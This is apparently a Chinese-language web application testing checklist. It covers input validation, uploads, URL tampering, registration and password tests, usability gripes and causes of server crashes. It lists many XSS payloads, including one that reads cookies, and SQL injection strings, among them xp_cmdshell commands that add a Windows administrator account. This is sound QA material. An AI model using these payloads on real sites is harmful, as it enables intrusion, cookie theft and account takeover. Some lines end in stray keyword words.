創建總體的威脅模型,測試溢出漏洞、信息泄漏、錯誤處理、SQL注入、身份驗證和受權錯誤.javascript
客戶端驗證 服務器端驗證(禁用腳本調試,禁用Cookies)css
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)html
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,恰好到達限制字數時有何反應java
3.輸入特殊字符,如:~!@#$%^&*()_+<>:」{}|程序員
4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格web
5.輸入特殊字符串NULL,null,0x0d 0x0ashell
6.輸入正常字符串 數據庫
7.輸入與要求不一樣類型的字符,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字express
8.輸入html和javascript代碼編程
9.對於像回答數這樣需檢驗數字正確性的測試點,不只對比其與問題最終頁的回答數,還要對回答進行添加刪除等操做後查看變化
例如:
1.輸入<html」>」gfhd</html>,看是否出錯;
2.輸入<input type=」text」 name=」user」/>,看是否出現文本框;
3.輸入<script type=」text/javascript」>alert(「提示」)</script>看是否出現提示。
關於上傳:
1.上傳文件是否有格式限制,是否能夠上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否致使異常錯誤,上傳0K的文件是否會致使異常錯誤,上傳並不存在的文件是否會致使異常錯誤;
3.經過修改擴展名的方式是否能夠繞過格式限制,是否能夠經過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否能夠超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩餘空間大小,是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程當中,中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字符,特殊字符等的文件上傳。
下載:
關於URL:
1.某些需登陸後或特殊用戶才能進入的頁面,是否能夠經過直接輸入網址的方式進入;
2.對於帶參數的網址,惡意修改其參數,(若爲數字,則輸入字母,或很大的數字,或輸入特殊字符等)後打開網址是否出錯,是否能夠非法進入某些頁面;
3.搜索頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。
4.輸入善意字符。
UBB:
[url=http://www.****.com] 你的網站[/url]
1.試着用各類方式輸入UBB代碼,好比代碼不完整,代碼嵌套等等.
2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起做用
3.輸入編輯器中不存在的UBB代碼,看是否起做用
[url=javascript:alert('hello')]連接[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
經常使用的測試輸入語句有:
<input type="text"/>
<input/>
<input/
<script>alert('hello');</script>
1.jpg" onmouseover="alert('xss')
"></a><script>alert(‘xss’);</script>
http://xxx';alert('xss');var/ a='a
‘」>xss&<
a=」\」 ; b=」;alert(/xss/);//」
<img src=「輸出內容」 border=「0」 alt=「logo」 />
「’」
‘」’
「」」
「 「 「
「」「
「‘ 」
title=」」
對輸出數據到輸出數據的對比,看是否出現問題。
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell 「net user name password /add」—
;exec master..xp_cmdshell 「net localgroup name administrators /add」—
and 0<>(select count(*) from admin)
簡單的如where xtype=’U’,字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;若是字符是中文的,好比where name=’用戶’,能夠用where name=nchar(29992)+nchar(25143)代替。
對於 XSS,只需檢查 HTML 輸出並看看您輸入的內容在什麼地方。它在一個 HREF 標記中嗎?是否在 IFRAME 標記中?它在 CLSID 標記中嗎?在 IMG SRC 中嗎?某些 Flash 內容的 PARAM NAME 是怎樣的?
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" style="Xss:expression(alert(/xss/));">
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’」>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = 」;hackerFunction(document.cookie);」;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
同個瀏覽器打開兩個頁面,一個頁面權限失效後,另外一個頁面是否可操做成功。
當頁面沒有CHECKCODE時,查看頁面源代碼,查是是否有token。若是頁面徹底是展現頁面,是不會有token的。
1、 用戶註冊
只從用戶名和密碼角度寫了幾個要考慮的測試點,若是需求中明確規定了安全問題,Email,出生日期,地址,性別等等一系列的格式和字符要求,那就都要寫用例測了~
以等價類劃分和邊界值法來分析
1.填寫符合要求的數據註冊: 用戶名字和密碼都爲最大長度(邊界值分析,取上點)
2.填寫符合要求的數據註冊 :用戶名字和密碼都爲最小長度(邊界值分析,取上點)
3.填寫符合要求的數據註冊:用戶名字和密碼都是非最大和最小長度的數據(邊界值分析,取內點)
4.必填項分別爲空註冊
5.用戶名長度大於要求註冊1位(邊界值分析,取離點)
6.用戶名長度小於要求註冊1位(邊界值分析,取離點)
7.密碼長度大於要求註冊1位(邊界值分析,取離點)
8.密碼長度小於要求註冊1位(邊界值分析,取離點)
9.用戶名是不符合要求的字符註冊(這個能夠劃分幾個無效的等價類,通常寫一兩個就好了,如含有空格,#等,看需求是否容許吧~)
10.密碼是不符合要求的字符註冊(這個能夠劃分幾個無效的等價類,通常寫一兩個就好了)
11.兩次輸入密碼不一致(若是註冊時候要輸入兩次密碼,那麼這個是必須的)
12.從新註冊存在的用戶
13.改變存在的用戶的用戶名和密碼的大小寫,來註冊。(有的需求是區分大小寫,有的不區分)
14.看是否支持tap和enter鍵等;密碼是否能夠複製粘貼;密碼是否以* 之類的加祕符號顯示
備註:邊界值的上點、內點和離點你們應該都知道吧,呵呵,這裏我就不細說了~~
2、 修改密碼
固然具體狀況具體分析哈~不能一律而論~
實際測試中可能只用到其中幾條而已,好比銀行卡密碼的修改,就不用考慮英文和非法字符,更不用考慮那些TAP之類的快捷鍵。而有的須要根據需求具體分析了,好比連續出錯多少次出現的提示,和一些軟件修改密碼要求必定時間內有必定的修改次數限制等等。
1.不輸入舊密碼,直接改密碼
2.輸入錯誤舊密碼
3.不輸入確認新密碼
4.不輸入新密碼
5.新密碼和確認新密碼不一致
6.新密碼中有空格
7.新密碼爲空
8.新密碼爲符合要求的最多字符
9.新密碼爲符合要求的最少字符
10.新密碼爲符合要求的非最多和最少字符
11.新密碼爲最多字符-1
12.新密碼爲最少字符+1
13.新密碼爲最多字符+1
14.新密碼爲最少字符-1
15.新密碼爲非容許字符(若有的密碼要求必須是英文和數字組成,那麼要試漢字和符號等)
16.看是否支持tap和enter鍵等;密碼是否能夠複製粘貼;密碼是否以* 之類的加祕符號
17.看密碼是否區分大小寫,新密碼中英文小寫,確認密碼中英文大寫
18.新密碼與舊密碼同樣可否修改爲功
另一些其餘的想法以下:
1 要測試全部規約中約定能夠輸入的特殊字符,字母,和數字,要求均可以正常輸入、顯示正常和添加成功
2 關注規約中的各類限制,好比長度,大否支持大小寫。
3 考慮各類特殊狀況,好比添加同名用戶,系統是否正確校驗給出提示信息,管理員賬戶是否能夠刪除,由於有些系統管理員擁有最大權限,一旦刪除管理員賬戶,就不能在前臺添加,這給最終用戶會帶來不少麻煩。比較特殊的是,當用戶名中包括了特殊字符,那麼對這類用戶名的添加同名,修改,刪除,系統是否可以正確實現,我就遇到了一個系統,添加同名用戶時,若是之前的用戶名沒有特殊字符,系統能夠給出提示信息,若是之前的用戶名包含特殊字符,就不校驗在插入數據庫的時候報錯。後來查到緣由了,原來是在java中拼SQL語句的時候,由於有"_",因此就調用了一個方法在「_」,前面加了一個轉義字符,後來發現不應調用這個方法。因此去掉就行了。因此對待輸入框中的特殊字符要多關注。
4 數值上的長度 之類的,包括出錯信息是否合理
5 特殊字符:好比。 / ' " \ </html> 這些是否會形成系統崩潰
6 注入式bug:好比密碼輸入個or 1=1
7 登陸後是否會用明文傳遞參數
8 訪問控制(不知道這個算不算):登陸後保存裏面的連接,關了瀏覽器直接複製連接看能不能訪問。
輸入框測試
1.驗證輸入與輸出的是否信息一致;
2.輸入框以前的標題是否正確;
3.對特殊字符的處理,尤爲是輸入信息徐須要發送到數據庫的。特殊字符包括:'(單引號)、"(雙引號)、[](中括號)、()(小括號)、{}(大括號)、;(分號)、<>(大於小於號)……
4.對輸入框輸入超過限制的字符的處理,通常非特殊的沒有做出限制的在255byte左右;
5.輸入框自己的大小、長度;
6.不一樣內碼的字符的輸入;
7.對空格、TAB字符的處理機制;
8.字符自己顯示的顏色;
9.密碼輸入窗口轉換成星號或其它符號;
10.密碼輸入框對其中的信息進行加密,防止採用破解星號的方法破解;
11.按下ctrl和alt鍵對輸入框的影響;
12.對於新增、修改、註冊時用的輸入框,有限制的,應該輸入時做出提示,指出不容許的或者標出容許的;
13.對於有約束條件要求的輸入框應當在條件知足時輸入框的狀態發生相應的改變,好比選了湖南就應該列出湖南下面的市,或者選了某些條件以後,一些輸入框會關閉或轉爲只讀狀態;
14.輸入類型;根據前面的欄位標題判斷該輸入框應該輸入哪些內容算是合理的。例如,是否容許輸入數字或字母,不容許輸入其餘字符等。
15.輸入長度;數據庫字段有長度定義,當輸入過長時,提交數據是否會出錯。
16.輸入狀態;當處於某種狀態下,輸入框是否處於可寫或非可寫狀態。例如,系統自動給予的編號等欄位做爲惟一標識,當再次處於編輯狀態下,輸入框欄位應處於不可寫狀態,若是可寫對其編輯的話,可能會形成數據重複引發衝突等。
17.若是是會進行數據庫操做的輸入框,還能夠考慮輸入SQL中的一些特殊符號如單引號等,有時會有意想不到的錯誤出現
18.輸入類型
輸入長度
是否容許複製粘貼
爲空的狀況
空格的考慮
半角全角測試
對於密碼輸入框要考慮顯示的內容是* 輸入錯誤時的提示信息及提示信息是否準確
19.能夠先了解你要測試的輸入框在軟件系統的某個功能中所扮演的角色,而後瞭解其具體的輸入條件,在將輸入條件按照有效等價類,無效等價類,邊界值等方法進行測試用例的設計。
20.關鍵字有大小寫混合的狀況;
21.關鍵字中含有一個或多個空格的狀況,包括前空格,中間空格(多個關鍵字),和後空格;
22.關鍵字中是否支持通配符的狀況(視功能而定);
23.關鍵字的長度分別爲九、十、11個字符時的狀況;
24.關鍵字是valid,可是沒有匹配搜索結果的狀況;
25.輸入html的標籤會出現哪些問題?輸入<html> 會出現什麼問題呢?(這條是我本身發現的,在網上也沒找到相似的東東,呵呵,你們湊合着看吧)
安全測試方面:
給出一些特別的關鍵字,好比 or 1=1, 這樣的關鍵字若是不被處理就直接用到數據庫查詢中去,後果可想而知。
用戶體驗相關
我登陸失敗的時候沒有任何提示,這沒什麼,反正提示也只是說失敗…
進去後發現顏色變動很強烈刺得我一眨眼,不過多看幾回就習慣了。
點擊某個連接的時候出現錯誤頁面,刷新後就行了,難道是隨機錯誤?
保存文字的時候沒有成功提示,不過能成功保存就算了。
瀏覽記錄的時候居然出現錯誤頁面,原來我沒有選記錄就瀏覽了,我本身操做不規範嘛。
刪除記錄的時候發現選錯了,想取消的時候卻提示刪除成功,都沒有確認提示,只能下次看仔細點了。
查詢時字母鍵被茶杯壓住了多輸了點字符,居然出現錯誤頁面,下次把東西整理好。
無聊隨便點點幾個連接,居然沒有反應,既然不用,那就不要作出來嘛。
看看本身上傳的圖片效果如何,這個怎麼不顯示?多試幾回發現名字不包含中文就行了,下次注意下。
改改字體字號顏色美化環境嘛,怎麼格式那裏不顯示正確的字體字號呢,將就用吧。
這裏的記錄條數怎麼這麼多啊?原來是沒有刪除按鈕,看來下次不能隨便加了。
這個結束時間怎麼在開始時間前啊?原來沒有進行控制,下面的人執行時……仍是本身改過來吧。
上次我在這裏看見的圖片呢?刷新後就出來了,怎麼和我玩捉迷藏呢?
多輸了點內容,保存時候提示太多了,點肯定後發現被清空了,我一個小時的工做啊!
這張圖片真不錯,可是按鈕呢,按鈕呢?按鈕被擠掉了我怎麼編輯啊。
據說F5是刷新點一下看看。怎麼好像變成了登陸界面?
剛學了怎麼用TAB鍵,確實很方便。TAB一下。跑哪去了,怎麼一片空白啊???
玩遊戲的人點擊速度那麼快,我也來試試。怎麼一雙擊就出錯了?
我找錯別字是很厲害的,這不就發現「贊成」寫成了「統一」。
這裏提示只能輸入1-100,我偏要輸入9999……保存看看,怎麼系統不能用了?
這裏一點擊就出現IE錯誤,硬是不彈出我須要的窗口。
這個查詢按鈕怎麼灰掉了?這麼多記錄讓我一頁一頁翻過去找啊。
上傳第二個附件的時候怎麼把第一個擠掉了啊,會擠掉也要提示一下嘛。
一個頁面上打開的記錄太多了,變體都用…省略了,要是鼠標放上去浮動顯示完整標題就方便多了。
這幾條記錄有依存關係,刪了一條其餘就沒了,提示都沒有,早知道我就用編輯了……
這條記錄怎麼好像是昨天的,我記得今天更新了啊?原來編輯後的記錄沒有傳到引用的地方。
最最奇怪的是昨天上傳時候正常的圖片今天就不能顯示了。我記得沒有隻能顯示一天的功能啊???
這裏怎麼沒有任何按鈕呢,看手冊才知道居然要用右鍵進行操做,怎麼忽然冒出個異類啊???
這裏怎麼能增長兩條相同的記錄呢?不控制一下天知道手下那些愣頭青會作出什麼來。
這裏的菜單一層一層又一層,足足有五層,把我頭都繞暈了……我記得哪裏說過最好不要超過三層的。
這個界面看起來怎麼這麼彆扭啊,是字體太大了,是按鈕過小了,仍是功能太多了,……
怎麼不是管理員登陸進來也能管理啊,那我這個管理員的身份不是畫蛇添足嗎?
刪除的時候提示Error,幸好我英語水平好,但是你換成中文不行嗎?
這條記錄不是刪除了嗎,怎麼還能引用啊,到時候出錯了怎麼辦,難道還要我記住刪了那些記錄?
通過精心編輯,我發了一條通知,怎麼用普通用戶查看的時候是默認的字體字號啊???
這幾個頁面上的當前日期怎麼是固定不變的啊,這都是去年的日期了,不會是開發時候的吧。
磁盤已滿
致使系統沒法正常運行的最可能的緣由是磁盤已滿。一個好的網絡管理員會密切關注磁盤的使用狀況,隔必定的時間,就須要將磁盤上的一些負載轉存到備份存儲介質中(例如磁帶)。
日誌文件會很快用光全部的磁盤空間。Web服務器的日誌文件、SQL*Net的日誌文件、JDBC日誌文件,以及應用程序服務器日誌文件均與內存泄漏有同等的危害。能夠採起措施將日誌文件保存在與操做系統不一樣的文件系統中。日誌文件系統空間已滿時Web服務器也會被掛起,但機器自身被掛起的概率已大大減低。
C指針錯誤
用C或C++編寫的程序,如Web服務器API模塊,有可能致使系統的崩潰,由於只要間接引用指針(即,訪問指向的內存)中出現一個錯誤,就會致使操做系統終止全部程序。另外,使用了糟糕的C指針的Java模擬量(analog)將訪問一個空的對象引用。Java中的空引用一般不會致使馬上退出JVM,可是前提是程序員可以使用異常處理方法恰當地處理錯誤。在這方面,Java無需過多的關注,但使用 Java對可靠性進行額外的度量則會對性能產生一些負面影響。
內存泄漏
C/C++程序還可能產生另外一個指針問題:丟失對已分配內存的引用。當內存是在子程序中被分配時,一般會出現這種問題,其結果是程序從子程序中返回時不會釋放內存。如此一來,對已分配的內存的引用就會丟失,只要操做系統還在運行中,則進程就會一直使用該內存。這樣的結果是,曾佔用更多的內存的程序會下降系統性能,直到機器徹底中止工做,纔會徹底清空內存。
解決方案之一是使用代碼分析工具(如Purify)對代碼進行仔細分析,以找出可能出現的泄漏問題。但這種方法沒法找到由其餘緣由引發的庫中的泄漏,由於庫的源代碼是不可用的。另外一種方法是每隔一段時間,就清除並重啓進程。Apache的Web服務器就會因這個緣由建立和清除子進程。
雖然Java自己並沒有指針,但總的說來,與C程序相比, Java程序使用內存的狀況更加糟糕。在Java中,對象被頻繁建立,而直到全部到對象的引用都消失時,垃圾回收程序纔會釋放內存。即便運行了垃圾回收程序,也只會將內存還給虛擬機VM,而不是還給操做系統。結果是:Java程序會用光給它們的全部堆,從不釋放。因爲要保存實時(Just In Time,JIT)編譯器產生的代碼,Java程序的大小有時可能會膨脹爲最大堆的數倍之巨。
還有一個問題,狀況與此相似。從鏈接池分配一個數據庫鏈接,而沒法將已分配的鏈接還回給鏈接池。一些鏈接池有活動計時器,在維持一段時間的靜止狀態以後,計時器會釋放掉數據庫鏈接,但這不足以緩解糟糕的代碼快速泄漏數據庫鏈接所形成的資源浪費。
進程缺少文件描述符
若是已爲一臺Web服務器或其餘關鍵進程分配了文件描述符,但它卻須要更多的文件描述符,則服務器或進程會被掛起或報錯,直至獲得了所需的文件描述符爲止。文件描述符用來保持對開放文件和開放套接字的跟蹤記錄,開放文件和開放套接字是Web服務器很關鍵的組成部分,其任務是將文件複製到網絡鏈接。默認時,大多數shell有64個文件描述符,這意味着每一個從shell啓動的進程能夠同時打開64個文件和網絡鏈接。大多數shell都有一個內嵌的 ulimit命令能夠增長文件描述符的數目。
線程死鎖
由多線程帶來的性能改善是以可靠性爲代價的,主要是由於這樣有可能產生線程死鎖。線程死鎖時,第一個線程等待第二個線程釋放資源,而同時第二個線程又在等待第一個線程釋放資源。咱們來想像這樣一種情形:在人行道上兩我的迎面相遇,爲了給對方讓道,兩人同時向一側邁出一步,雙方沒法經過,又同時向另外一側邁出一步,這樣仍是沒法經過。雙方都以一樣的邁步方式堵住了對方的去路。假設這種狀況一直持續下去,這樣就不難理解爲什麼會發生死鎖現象了。
解決死鎖沒有簡單的方法,這是由於使線程產生這種問題是很具體的狀況,並且每每有很高的負載。大多數軟件測試產生不了足夠多的負載,因此不可能暴露全部的線程錯誤。在每一種使用線程的語言中都存在線程死鎖問題。因爲使用Java進行線程編程比使用C容易,因此 Java程序員中使用線程的人數更多,線程死鎖也就愈來愈廣泛了。能夠在Java代碼中增長同步關鍵字的使用,這樣能夠減小死鎖,但這樣作也會影響性能。若是負載太重,數據庫內部也有可能發生死鎖。
若是程序使用了永久鎖,好比鎖文件,並且程序結束時沒有解除鎖狀態,則其餘進程可能沒法使用這種類型的鎖,既不能上鎖,也不能解除鎖。這會進一步致使系統不能正常工做。這時必須手動地解鎖。
服務器超載
Netscape Web服務器的每一個鏈接都使用一個線程。Netscape Enterprise Web服務器會在線程用完後掛起,而不爲已存在的鏈接提供任何服務。若是有一種負載分佈機制能夠檢測到服務器沒有響應,則該服務器上的負載就能夠分佈到其它的 Web服務器上,這可能會導致這些服務器一個接一個地用光全部的線程。這樣一來,整個服務器組都會被掛起。操做系統級別可能還在不斷地接收新的鏈接,而應用程序(Web服務器)卻沒法爲這些鏈接提供服務。用戶能夠在瀏覽器狀態行上看到connected(已鏈接)的提示消息,但這之後什麼也不會發生。
解決問題的一種方法是將obj.conf參數RqThrottle的值設置爲線程數目之下的某個數值,這樣若是越過 RqThrottle的值,就不會接收新的鏈接。那些不能鏈接的服務器將會中止工做,而鏈接上的服務器的響應速度則會變慢,但至少已鏈接的服務器不會被掛起。這時,文件描述符至少應當被設置爲與線程的數目相同的數值,不然,文件描述符將成爲一個瓶頸。
數據庫中的臨時表不夠用 許多數據庫的臨時表(cursor)數目都是固定的,臨時表即保留查詢結果的內存區域。在臨時表中的數據都被讀取後,臨時表便會被釋放,但大量同時進行的查詢可能耗盡數目固定的全部臨時表。這時,其餘的查詢就須要列隊等候,直到有臨時表被釋放時才能再繼續運行。 這是一個不容易被程序員發覺的問題,但會在負載測試時顯露出來。但可能對於數據庫管理員(DataBase Administrator,DBA)來講,這個問題十分明顯。 此外,還存在一些其餘問題:設置的表空間不夠用、序號限制過低,這些都會致使表溢出錯誤。這些問題代表了一個好的DBA對用於生產的數據庫設置和性能進行按期檢查的重要性。並且,大多數數據庫廠商也提供了監控和建模工具以幫助解決這些問題。 另外,還有許多因素也極有可能致使Web站點沒法工做。如:相關性、子網流量超載、糟糕的設備驅動程序、硬件故障、包括錯誤文件的通配符、無心間鎖住了關鍵的表。